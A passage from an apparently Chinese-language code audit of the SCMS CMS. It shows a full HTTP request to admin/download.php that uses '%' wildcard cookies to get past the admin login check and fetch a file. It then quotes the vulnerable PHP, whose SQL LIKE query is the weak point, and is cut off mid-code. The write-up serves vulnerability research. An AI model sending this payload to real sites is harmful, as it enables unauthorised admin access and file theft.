666666
0x00 Payload
在看补天漏洞过程中发现有人提交了scms注入漏洞,因此下载了源码进行了简单的审计。
GET /3.gov.php/admin/download.php?DownName=download.Php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: user=%;pass=%;
Connection: close
Upgrade-Insecure-Requests: 1
0x01 分析过程
漏洞产生在admin/download.php文件中:
<?php
require '../conn/conn2.php';
require '../conn/function.php';
if ($_COOKIE["user"]=="" || $_COOKIE["pass"]==""){
setcookie("user","");
setcookie("pass","");
setcookie("auth","");
Header("Location:index.php");
die();
}else{
$sql="select * from SL_admin where A_login like '".filter_keyword($_COOKIE["user"])."' and A_pwd like '".filter_keyword($_COOKIE["pass"])."'";
$result = mysqli_query($conn, $sql);
$row = mysqli_fetch_assoc($result);
if (mysqli_num_rows($result) > 0) {
}else{
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